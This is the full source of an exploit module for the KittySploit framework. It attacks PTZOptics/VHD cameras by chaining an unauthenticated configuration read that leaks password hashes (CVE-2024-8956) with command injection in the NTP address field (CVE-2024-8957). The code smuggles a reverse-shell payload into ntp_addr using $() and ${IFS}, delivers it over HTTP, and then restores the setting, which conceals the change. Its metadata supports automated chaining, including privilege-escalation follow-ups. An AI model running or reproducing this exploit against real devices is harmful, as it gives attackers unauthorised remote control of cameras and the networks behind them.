PTZOptics Camera - Unauth RCE via NTP Config (CVE-2024-8957)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PTZOptics / VHD camera unauthenticated RCE via ntp_addr injection (CVE-2024-8956/8957)."""

import re
import time
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'PTZOptics Camera - Unauth RCE via NTP Config (CVE-2024-8957)',
        'description': (
            'Chains CVE-2024-8956 (missing auth on param.cgi) with CVE-2024-8957 '
            '(OS command injection in ntp_addr). Delivers a reverse CMD payload via '
            'POST /cgi-bin/param.cgi?post_network_other_conf and waits for a shell session.'
        ),
        'author': ['GreyNoise Labs', 'KittySploit Team'],
        'cve': ['CVE-2024-8957', 'CVE-2024-8956'],
        'platform': Platform.LINUX,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://www.labs.greynoise.io/grimoire/2024-10-31-sift-0-day-rce/',
            'https://vulncheck.com/advisories/ptzoptics-command-injection',
            'https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-10',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-8957',
        ],
        'tags': ['ptzoptics', 'camera', 'iot', 'rce', 'cmdi', 'unauth', 'kev', 'cve-2024-8957'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'config_change'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'scanner/http/cve_2024_8956_detect',
                    'post/shell/multi/gather/privesc_suggester',
                ],
            },
        },
    }

    restore_ntp = OptString('pool.ntp.org', 'NTP address to restore after payload delivery', required=False)

    def _shell_wrap(self, cmd: str) -> str:
        safe = str(cmd).replace(' ', '${IFS}')
        return f'$({safe})'

    def _post_ntp(self, ntp_addr: str):
        encoded = quote(str(ntp_addr), safe='$/(){}')
        return self.http_request(
            method='POST',
            path='/cgi-bin/param.cgi?post_network_other_conf',
            data=f'ntp_en=1&ntp_addr={encoded}&ntp_time_interval=1440',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )

    def check(self):
        r = self.http_request(
            method='GET',
            path='/cgi-bin/param.cgi?get_system_conf',
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return {
                'vulnerable': False,
                'reason': 'get_system_conf not accessible',
                'confidence': 'medium',
            }
        body = r.text or ''
        if not re.search(r'userpasswd="[a-f0-9]+"', body):
            return {
                'vulnerable': False,
                'reason': 'CVE-2024-8956 indicator missing (no userpasswd leak)',
                'confidence': 'medium',
            }
        probe = self._post_ntp('pool.ntp.org')
        if probe and probe.status_code == 200 and 'Success' in (probe.text or ''):
            return {
                'vulnerable': True,
                'reason': 'Unauth config write + password leak (CVE-2024-8956/8957 chain)',
                'confidence': 'high',
            }
        return {
            'vulnerable': True,
            'reason': 'Password hash leak via get_system_conf (CVE-2024-8956)',
            'confidence': 'medium',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('A reverse CMD payload is required to open a session')
            return False

        # Optional pre-exploit leak (does not replace session requirement).
        leak = self.http_request(
            method='GET',
            path='/cgi-bin/param.cgi?get_system_conf',
            allow_redirects=False,
        )
        if leak and leak.status_code == 200 and 'userpasswd=' in (leak.text or ''):
            print_success('Unauthenticated config access confirmed (CVE-2024-8956)')

        wrapped = self._shell_wrap(payload_cmd)
        print_status('Delivering reverse payload via ntp_addr injection (await shell session)...')
        r = self._post_ntp(wrapped)
        if not r:
            print_error('No response from post_network_other_conf')
            self.not_vulnerable()
            return False

        ok = r.status_code == 200 and ('Success' in (r.text or '') or not (r.text or '').strip())
        if not ok:
            print_warning(f'Unexpected response HTTP {r.status_code}: {(r.text or "")[:200]}')
            self.not_vulnerable()
            return False

        print_success('Payload delivered; waiting for reverse shell session')
        restore = str(self.restore_ntp or '').strip()
        if restore:
            time.sleep(0.3)
            self._post_ntp(restore)
        # True => framework listener keeps waiting for the reverse session.
        return True